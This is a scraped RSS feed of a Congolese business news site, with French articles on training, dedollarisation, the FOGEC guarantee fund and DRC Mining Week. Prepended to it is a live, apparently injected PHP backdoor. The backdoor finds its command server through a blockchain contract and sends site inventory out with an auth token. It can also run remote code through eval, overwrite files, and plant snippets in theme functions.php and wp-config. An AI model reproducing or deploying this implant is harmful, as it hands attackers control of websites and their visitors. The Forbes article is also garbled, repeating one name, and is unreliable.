// jf_ra if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/ezfnknyg/public_html/wp-content/plugins/wp-helper-64846e/wp-helper-64846e.php', 'ctrl'=>'// jf_ra', 'vis'=>'// l6_bv', 'vis_func'=>'wp_6lyhf3', 'vis_paths'=>array('/home/ezfnknyg/public_html/wp-content/plugins/wp-helper-64846e/wp-helper-64846e.php'), 'opt'=>'_wp_z1hv9lpp', ); $keys=array(); $keys['id']='t9z'; $keys['ver']='ie'; $keys['caps']='4l6'; $keys['tasks']='8qm'; $keys['interval']='mll'; $keys['ack_id']='59a'; $keys['ok']='0m'; $keys['detail']='u51'; $keys['inv']='j2f'; $keys['result']='cd8'; $hdr='X-17G-Auth';$tok='hUY2t7Aii_rpYhv043X80Dp88eL5ywQIGYDq-_qHcgg';$id='7f21bf5a7d657825';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Entrepreneur Magazine https://entrepreneurmagazinerdc.com Thu, 20 Aug 2026 14:18:50 +0000 fr-FR hourly 1 https://wordpress.org/?v=7.1 https://entrepreneurmagazinerdc.com/wp-content/uploads/2024/02/CICONE-75x75.png Entrepreneur Magazine https://entrepreneurmagazinerdc.com 32 32 Formation sur les « Premiers soins d’urgence » à la FEC Haut-Katanga https://entrepreneurmagazinerdc.com/index.php/2026/08/13/formation-sur-les-premiers-soins-durgence-a-la-fec-haut-katanga/ https://entrepreneurmagazinerdc.com/index.php/2026/08/13/formation-sur-les-premiers-soins-durgence-a-la-fec-haut-katanga/?noamp=mobile#respond Thu, 13 Aug 2026 16:04:15 +0000 https://entrepreneurmagazinerdc.com/?p=472

Vous êtes responsable RH, membre du comité d’hygiène, santé et embellissements des lieux de travail, superviseurs ou chef d’équipe? Cette formation est faite pour vous!

Nous avons le réel plaisir de vous convier à une formation organisée en collaboration avec la CIELS, FAA et la CROIX ROUGE, sous le thème « Premiers soins d’urgence » en date du 03 au 05 avril 2024 au siège provincial de la FEC, chaque jour de 09 heures à 15 heures 30.

Venez apprendre 𝗹𝗲𝘀 𝗽𝗿𝗲𝗺𝗶𝗲𝗿𝘀 𝘀𝗼𝗶𝗻𝘀 𝗲𝗻 𝗰𝗮𝘀 𝗱’𝗮𝗿𝗿ê𝘁 𝗰𝗮𝗿𝗱𝗶𝗼-𝗿𝗲𝘀𝗽𝗶𝗿𝗮𝘁𝗼𝗶𝗿𝗲, 𝗹’𝗮𝘀𝘀𝗶𝘀𝘁𝗮𝗻𝗰𝗲 𝗱’𝘂𝗻𝗲 𝘃𝗶𝗰𝘁𝗶𝗺𝗲 𝗱’𝗶𝗻𝗰𝗶𝗱𝗲𝗻𝘁 𝗼𝘂 𝗱’𝗮𝗰𝗰𝗶𝗱𝗲𝗻𝘁, 𝗹𝗲𝘀 é𝗰𝗵𝗮𝗻𝗴𝗲𝘀 𝘀𝘂𝗿 𝗹𝗲𝘀 𝗻𝗼𝘁𝗶𝗼𝗻𝘀 𝗲𝘀𝘀𝗲𝗻𝘁𝗶𝗲𝗹𝗹𝗲𝘀 𝗱𝗲 𝘀é𝗰𝘂𝗿𝗶𝘁é 𝘀𝘂𝗿 𝗹𝗲 𝗹𝗶𝗲𝘂 𝗱𝗲 𝘁𝗿𝗮𝘃𝗮𝗶𝗹 ainsi que plusieurs autres sujets à débattre.

Les frais de participation reviennent à 300$ par personne. Veuillez nous contacter au +243997021449 ou par mail f.kishiko@fec-rdc.com.

Cordiale bienvenue à tous !

]]> https://entrepreneurmagazinerdc.com/index.php/2026/08/13/formation-sur-les-premiers-soins-durgence-a-la-fec-haut-katanga/feed/ 0 Qui sont les 10 Milliardaires les Plus Riches Selon Forbes en 2024 https://entrepreneurmagazinerdc.com/index.php/2026/08/13/qui-sont-les-10-milliardaires-les-plus-riches-selon-forbes-en-2024/ https://entrepreneurmagazinerdc.com/index.php/2026/08/13/qui-sont-les-10-milliardaires-les-plus-riches-selon-forbes-en-2024/?noamp=mobile#respond Thu, 13 Aug 2026 16:03:27 +0000 https://entrepreneurmagazinerdc.com/?p=531
Le monde de la richesse et du pouvoir est un univers en constante évolution, où les fortunes se font et se défont au gré des fluctuations économiques, des innovations technologiques et des tendances du marché mondial. Chaque année, Forbes dresse la liste des milliardaires les plus riches, offrant un aperçu fascinant des individus qui dominent le paysage financier mondial. Alors, qui sont les 10 milliardaires les plus riches en 2024, selon Forbes à la date du 1er avril 2024

1. BERNARD ARNAULT

Valeur nette : 233 milliards de dollars | Source de richesse : LVMH | Citoyenneté : France

La personne la plus riche du monde pour la deuxième année consécutive. La fortune d’Arnault a augmenté de 10 % en 2023 grâce à une nouvelle année record pour son conglomérat de luxe, LVMH, qui possède Louis Vuitton, Christian Dior et Sephora. L’année dernière, le géant de la mode a annoncé un bénéfice net de 16,5 milliards de dollars pour un chiffre d’affaires de 94 milliards de dollars. En janvier, M. Arnault a consolidé son plan de succession visant à maintenir le contrôle familial en proposant d’ajouter ses fils Alexandre et Frédéric au conseil d’administration de LVMH, où ils rejoindraient ses deux enfants aînés, Antoine et Delphine.

2. BERNARD ARNAULT

]]> https://entrepreneurmagazinerdc.com/index.php/2026/08/13/qui-sont-les-10-milliardaires-les-plus-riches-selon-forbes-en-2024/feed/ 0 🔍 Entrepreneur Magazine, partenaire d’un dialogue stratégique sur l’investissement en RDC https://entrepreneurmagazinerdc.com/index.php/2026/08/13/%f0%9f%94%8d-entrepreneur-magazine-partenaire-dun-dialogue-strategique-sur-linvestissement-en-rdc/ https://entrepreneurmagazinerdc.com/index.php/2026/08/13/%f0%9f%94%8d-entrepreneur-magazine-partenaire-dun-dialogue-strategique-sur-linvestissement-en-rdc/?noamp=mobile#respond Thu, 13 Aug 2026 15:52:49 +0000 https://entrepreneurmagazinerdc.com/?p=1119 Lubumbashi, le 15 avril 2025 – Entrepreneur Magazine, média dédié à l’économie et à l’innovation en RDC, est fier d’être partenaire du petit déjeuner économique organisé ce 30 avril 2025 à la FEC Haut-Katanga, en collaboration avec l’Agence Nationale pour la Promotion des Investissements (ANAPI).

Dans un contexte où la diversification économique devient impérative, cet événement stratégique vise à offrir aux entrepreneurs congolais une compréhension claire et actualisée du Code des Investissements ainsi que des réformes récentes destinées à améliorer le climat des affaires en République Démocratique du Congo.

Au programme : une présentation des missions de l’ANAPI, un éclairage sur les dispositifs incitatifs offerts par le Code, et un échange autour des réformes clés en faveur de l’entrepreneuriat. Près de 75 entrepreneurs sont attendus, issus des membres de la FEC et de programmes d’accompagnement comme SOPA+ ou Pull Up Business Women.

Entrepreneur Magazine s’engage à relayer les messages forts issus de cette matinée, en apportant une analyse rigoureuse et accessible aux femmes et hommes d’affaires congolais. Dans un monde économique en recomposition, l’accès à l’information économique devient une ressource stratégique. Notre rédaction sera au cœur du débat.

Pour y participer:

Email: s.ndubula@fec-rdc.com | Tel: +243 828 522 540

]]> https://entrepreneurmagazinerdc.com/index.php/2026/08/13/%f0%9f%94%8d-entrepreneur-magazine-partenaire-dun-dialogue-strategique-sur-linvestissement-en-rdc/feed/ 0 Petit commerce en RDC : la protection ne suffit pas, il faut maintenant faire grandir les commerçants congolais https://entrepreneurmagazinerdc.com/index.php/2026/08/06/petit-commerce-en-rdc-la-protection-ne-suffit-pas-il-faut-maintenant-faire-grandir-les-commercants-congolais/ https://entrepreneurmagazinerdc.com/index.php/2026/08/06/petit-commerce-en-rdc-la-protection-ne-suffit-pas-il-faut-maintenant-faire-grandir-les-commercants-congolais/?noamp=mobile#respond Thu, 06 Aug 2026 13:54:21 +0000 https://entrepreneurmagazinerdc.com/?p=1820 Quatre mois après l’entrée en vigueur du nouveau cadre réglementaire, une question mérite d’être posée : qu’est-ce qui a réellement changé dans la vie du petit commerçant congolais ?

Depuis le 30 avril 2026, le Décret n°26/011 du 30 mars 2026 portant mesures d’exercice du petit commerce et du commerce de détail encadre plus strictement l’accès à ce marché. Dans son communiqué de presse n°124/2026 du 30 avril 2026, le ministère de l’Économie nationale présente cette réforme comme un moyen de clarifier les règles, de mieux organiser le commerce intérieur et de renforcer la participation des Congolais.

Sur le papier, le signal est fort : le petit commerce et le commerce de détail sont désormais réservés aux opérateurs économiques congolais, tandis que certaines activités spécialisées restent accessibles aux étrangers sous conditions, notamment à travers l’Avis de non-objection (ANO) prévu par l’Arrêté ministériel n°011/CAB/VPM/MIN-ECONAT/DMS/2026 du 5 mai 2026.

Mais dans un marché de quartier, la réalité se mesure autrement.

Elle se mesure au commerçant qui peut enfin travailler sans avoir le sentiment de jouer à armes inégales. À celui qui espère développer son petit magasin, embaucher deux ou trois personnes, obtenir un crédit et passer, demain, du commerce informel à une véritable PME.

C’est là que se trouve le vrai test de la réforme.

Car réserver un marché aux Congolais ne suffit pas à créer des champions congolais. Il faut aussi du financement, des fournisseurs compétitifs, une fiscalité lisible, moins de tracasseries et surtout un accompagnement vers la formalisation.

Le gouvernement a posé une première pierre. La période de mise en conformité de six mois doit maintenant permettre de vérifier si cette nouvelle réglementation change réellement le rapport de force sur le terrain.

L’enjeu n’est finalement pas seulement de fermer certaines portes aux autres. C’est de donner aux entrepreneurs congolais les moyens d’ouvrir les leurs.

C’est à cette condition que le décret pourra passer d’une réforme réglementaire à une véritable politique de développement de l’entrepreneuriat congolais.

La Rédaction

]]> https://entrepreneurmagazinerdc.com/index.php/2026/08/06/petit-commerce-en-rdc-la-protection-ne-suffit-pas-il-faut-maintenant-faire-grandir-les-commercants-congolais/feed/ 0 Dédollarisation : ce qui va changer pour le business en RDC https://entrepreneurmagazinerdc.com/index.php/2026/08/05/dedollarisation-ce-qui-va-changer-pour-le-business-en-rdc/ https://entrepreneurmagazinerdc.com/index.php/2026/08/05/dedollarisation-ce-qui-va-changer-pour-le-business-en-rdc/?noamp=mobile#respond Wed, 05 Aug 2026 14:15:13 +0000 https://entrepreneurmagazinerdc.com/?p=1823 À partir d’avril 2027, la dédollarisation congolaise pourrait transformer moins la monnaie des entreprises que leur manière de faire des affaires.

La réforme portée par la Banque centrale du Congo (BCC) prévoit notamment de réserver à l’Institut d’émission l’importation physique des billets en devises et de privilégier les transactions en monnaies étrangères par les circuits bancaires.

Pour les entreprises, le changement sera concret. Le dollar ne disparaîtra pas du business ; le dollar cash, lui, deviendra progressivement plus difficile à utiliser. Une entreprise pourra continuer à facturer, payer ou recevoir des fonds en devises, mais davantage de transactions passeront par les banques et les plateformes de paiement.

Le premier impact concernera la trésorerie. Les entreprises devront réduire leur dépendance aux espèces et renforcer leur gestion des comptes en devises. Pour un importateur, un grossiste ou une PME travaillant avec des fournisseurs étrangers, la disponibilité du dollar bancaire deviendra un élément stratégique du cycle d’exploitation.

Deuxième changement : la facturation et les contrats. Les entreprises devront clarifier les monnaies de référence, les modalités de règlement et les mécanismes de couverture du risque de change. Le contrat commercial deviendra davantage un outil de gestion du risque monétaire.

Troisième enjeu : le coût de la formalisation. Paiements bancaires, justificatifs, rapprochements comptables et traçabilité renforceront la conformité. Pour les entreprises déjà structurées, cette évolution peut devenir un avantage. Pour l’économie informelle, elle pourrait représenter un choc.

Le secteur minier et ses sous-traitants seront particulièrement concernés. Les paiements fournisseurs, les importations d’équipements, les salaires, les contrats et les obligations fiscales devront être organisés autour d’une gestion plus rigoureuse des flux en francs et en devises.

Pour les dirigeants congolais, 2027 commence déjà maintenant : il faut revoir la trésorerie, les contrats, les procédures de paiement et l’exposition au risque de change.

D. Lukoji

]]> https://entrepreneurmagazinerdc.com/index.php/2026/08/05/dedollarisation-ce-qui-va-changer-pour-le-business-en-rdc/feed/ 0 Prix Pierre Castel 2026 : Herman Mwembo en finale africaine https://entrepreneurmagazinerdc.com/index.php/2026/07/21/prix-pierre-castel-2026-herman-mwembo-en-finale-africaine/ https://entrepreneurmagazinerdc.com/index.php/2026/07/21/prix-pierre-castel-2026-herman-mwembo-en-finale-africaine/?noamp=mobile#respond Tue, 21 Jul 2026 07:00:52 +0000 https://entrepreneurmagazinerdc.com/?p=1623 La révolution agricole africaine ne se joue plus uniquement dans les champs. Elle s’invente désormais dans les laboratoires d’innovation, les incubateurs et les start-up capables de concilier technologie, durabilité et création de valeur. En République démocratique du Congo, le Prix Pierre Castel 2026, organisé par BRASIMBA en partenariat avec le Fonds Pierre Castel, en offre une nouvelle démonstration.

Cette neuvième édition distingue quatre entrepreneurs du Grand Katanga dont les solutions répondent aux défis de la sécurité alimentaire, de la transformation locale et de la résilience climatique. Ariel Kisimba développe une filière de transformation du tournesol en huile alimentaire, Héritier Ngoie digitalise les échanges agricoles avec la plateforme UUZA, Nick Tshikwat valorise la patate douce dans l’industrie pâtissière, tandis que Herman Mwembo, fondateur de STARRY SERVICES SARLU, s’impose comme le visage de l’agriculture de précision en RDC.

Issu de la 9ᵉ cohorte d’Orange Corners RDC, Herman Mwembo a conçu AgriSmart, une solution qui associe cartographie par drone, irrigation automatisée et fertilisation de précision. L’objectif est clair : augmenter les rendements, réduire les pertes agricoles et aider les exploitations à mieux faire face aux effets du changement climatique. Une approche qui illustre l’émergence de l’agritech, l’un des segments les plus prometteurs de l’économie africaine.

Depuis sa création, le Prix Pierre Castel accompagne les entrepreneurs qui transforment durablement les systèmes alimentaires africains. L’édition 2026 est déployée dans sept pays et offre aux lauréats nationaux une dotation de 25 000 euros, un programme de mentorat, de coaching et une ouverture vers un réseau d’affaires continental. Le vainqueur panafricain bénéficie d’un accompagnement renforcé ainsi que d’une dotation complémentaire portant son soutien financier à 35 000 euros.

Au-delà des récompenses, cette sélection confirme la montée en puissance d’une nouvelle génération d’entrepreneurs congolais qui ne se contentent plus de produire : ils innovent, numérisent les chaînes de valeur et développent des modèles économiques capables de changer d’échelle.

Le prochain rendez-vous est désormais fixé à Cotonou, où Herman Mwembo défendra les couleurs de la RDC lors de la grande finale panafricaine. Plus qu’une compétition, cette étape représente une vitrine stratégique pour démontrer que l’innovation agricole congolaise peut désormais rivaliser avec les meilleures initiatives du continent. Dans une Afrique où la souveraineté alimentaire devient un impératif économique, la RDC entend bien faire entendre sa voix.

Voir la vidéo: https://web.facebook.com/reel/4235120183416907

D. Lukoji

]]> https://entrepreneurmagazinerdc.com/index.php/2026/07/21/prix-pierre-castel-2026-herman-mwembo-en-finale-africaine/feed/ 0 FOGEC : cinq ans après, le pari de l’entrepreneuriat congolais entre bilan encourageant et nouveau départ https://entrepreneurmagazinerdc.com/index.php/2026/07/02/fogec-cinq-ans-apres-le-pari-de-lentrepreneuriat-congolais-entre-bilan-encourageant-et-nouveau-depart/ https://entrepreneurmagazinerdc.com/index.php/2026/07/02/fogec-cinq-ans-apres-le-pari-de-lentrepreneuriat-congolais-entre-bilan-encourageant-et-nouveau-depart/?noamp=mobile#respond Thu, 02 Jul 2026 10:39:06 +0000 https://entrepreneurmagazinerdc.com/?p=1816 Cinq ans après sa création, le Fonds de Garantie de l’Entrepreneuriat au Congo (FOGEC) tourne une page de son histoire. Né en 2020 pour faciliter l’accès des petites et moyennes entreprises (PME) au crédit bancaire, l’établissement public aborde une nouvelle étape avec la nomination d’une nouvelle équipe dirigeante, après un premier mandat marqué par la structuration de l’institution et la montée en puissance de son mécanisme de garantie.

Par ordonnance présidentielle publiée le 3 juin 2026, le président Félix Tshisekedi a confié la gouvernance du FOGEC à Mukanya Katanga Évariste, président du Conseil d’administration, Luto Nzolantima, directeur général, et Lénine Okana Nsiawi, directeur général adjoint. Cette nouvelle équipe hérite d’une institution qui revendique des résultats inédits dans un pays où l’accès au financement demeure l’un des principaux freins au développement des entreprises.

Le bilan présenté avant la transition est jugé encourageant. Selon les chiffres communiqués par le FOGEC, 453 entrepreneurs ont bénéficié de son accompagnement dans 16 provinces, pour plus de 5,3 millions de dollars mobilisés, dont 96 % sous forme de crédits bancaires garantis. L’institution affirme également avoir contribué à la création ou à la consolidation de plus de 2 500 emplois, tandis que près de la moitié des financements ont été orientés vers l’agro-industrie. Les jeunes de moins de 45 ans représentent 60 % des bénéficiaires et les femmes 31 %.

Lors de la présentation de la quatrième cohorte d’entrepreneurs en mai 2026, le directeur général sortant, Laurent Munzemba Kompa, résumait le chemin parcouru : « C’est le sentiment du travail accompli (…). Notre première cohorte comptait 10 entrepreneurs, puis 48, ensuite 90 et aujourd’hui 102 entrepreneurs pour 3,5 millions de dollars. Nous sommes fiers. Ce n’est qu’un début. »

Pour lui, le principal succès du FOGEC dépasse les seuls montants mobilisés. « Nous avons su transformer une idée en un levier financier crédible auprès du secteur bancaire et des partenaires », déclarait-il, soulignant qu’un opérateur économique congolais avait récemment injecté un million de dollars dans le fonds, preuve, selon lui, que « la gestion transparente des fonds publics peut générer la confiance ».

Le ministre de l’Entrepreneuriat et du Développement des PME, Justin Kalumba Mwana Ngongo, a pour sa part appelé le FOGEC à franchir une nouvelle étape. « Je voudrais vous engager à multiplier les modalités de financement (…). Allez dans la prise de participation dans les entreprises porteuses de croissance », a-t-il déclaré, annonçant parallèlement la création du FOGEC S.A., destiné à accompagner les start-up et les entreprises en phase d’expansion.

Malgré ces avancées, les défis demeurent considérables. Les besoins de financement des PME congolaises se chiffrent en milliards de dollars, alors que le volume d’intervention du FOGEC reste encore limité. La faible formalisation des entreprises, les exigences du secteur bancaire et les disparités entre provinces continuent également de freiner l’accès au crédit.

La mission de la nouvelle direction sera donc décisive. Après avoir démontré qu’un mécanisme public de garantie pouvait restaurer la confiance entre les banques et les entrepreneurs, elle devra désormais changer d’échelle. Plus qu’un simple fonds de garantie, le FOGEC ambitionne de devenir l’un des piliers du financement de l’entrepreneuriat congolais et un instrument de diversification de l’économie nationale.

La Rédaction

]]> https://entrepreneurmagazinerdc.com/index.php/2026/07/02/fogec-cinq-ans-apres-le-pari-de-lentrepreneuriat-congolais-entre-bilan-encourageant-et-nouveau-depart/feed/ 0 DRC Mining Week 2026 : la RDC veut transformer son avantage géologique en puissance industrielle https://entrepreneurmagazinerdc.com/index.php/2026/06/18/drc-mining-week-2026-la-rdc-veut-transformer-son-avantage-geologique-en-puissance-industrielle/ https://entrepreneurmagazinerdc.com/index.php/2026/06/18/drc-mining-week-2026-la-rdc-veut-transformer-son-avantage-geologique-en-puissance-industrielle/?noamp=mobile#respond Thu, 18 Jun 2026 10:11:24 +0000 https://entrepreneurmagazinerdc.com/?p=1606 À l’ouverture de la 21ᵉ édition de la DRC Mining Week à Lubumbashi, le Gouvernement congolais a réaffirmé sa volonté de faire évoluer la RDC d’un pays exportateur de minerais vers un centre régional de transformation industrielle. Une ambition portée par la croissance de la production minière, l’arrivée du lithium et une politique visant à créer davantage de valeur localement. Pour les entrepreneurs, les opportunités pourraient être considérables.

Longtemps, la République démocratique du Congo a été considérée comme un simple réservoir de matières premières. Aujourd’hui, le discours officiel change de nature. À Lubumbashi, devant plusieurs milliers de participants réunis pour la DRC Mining Week 2026, le Gouvernement a affiché une vision plus ambitieuse : positionner la RDC comme une plaque tournante mondiale des minéraux critiques.

Le Ministre des Mines, Louis Watum Kabamba, a rappelé les performances du secteur. En 2025, la RDC a produit près de 3,5 millions de tonnes de cuivre tout en conservant sa position de premier producteur mondial de cobalt. Le pays s’apprête également à franchir une nouvelle étape avec le démarrage de sa première production commerciale de lithium au second semestre 2026.

« La RDC ne veut plus être uniquement un pays d’extraction. Notre ambition est de devenir une nation de transformation, d’innovation et de création de valeur ajoutée, au bénéfice des Congolais », a déclaré le Ministre.

Derrière cette ambition se dessine une véritable stratégie industrielle. Modernisation de l’administration minière, digitalisation des services, amélioration de la traçabilité, développement des infrastructures énergétiques et renforcement de la participation des Congolais dans l’économie minière figurent parmi les priorités annoncées.

Pour le secteur privé, le signal est fort. La création de valeur ne se limitera plus à l’extraction. Les besoins concernent désormais la transformation industrielle, les technologies, les infrastructures, la logistique, les services financiers, la formation et les solutions énergétiques.

Dans un contexte mondial marqué par la course aux minerais critiques nécessaires à la transition énergétique, la RDC cherche à convertir son avantage géologique en avantage économique. La réussite de cette stratégie dépendra toutefois d’un facteur clé : la capacité des entreprises congolaises à saisir les nouvelles opportunités offertes par cette montée en gamme du secteur minier.

La Rédaction

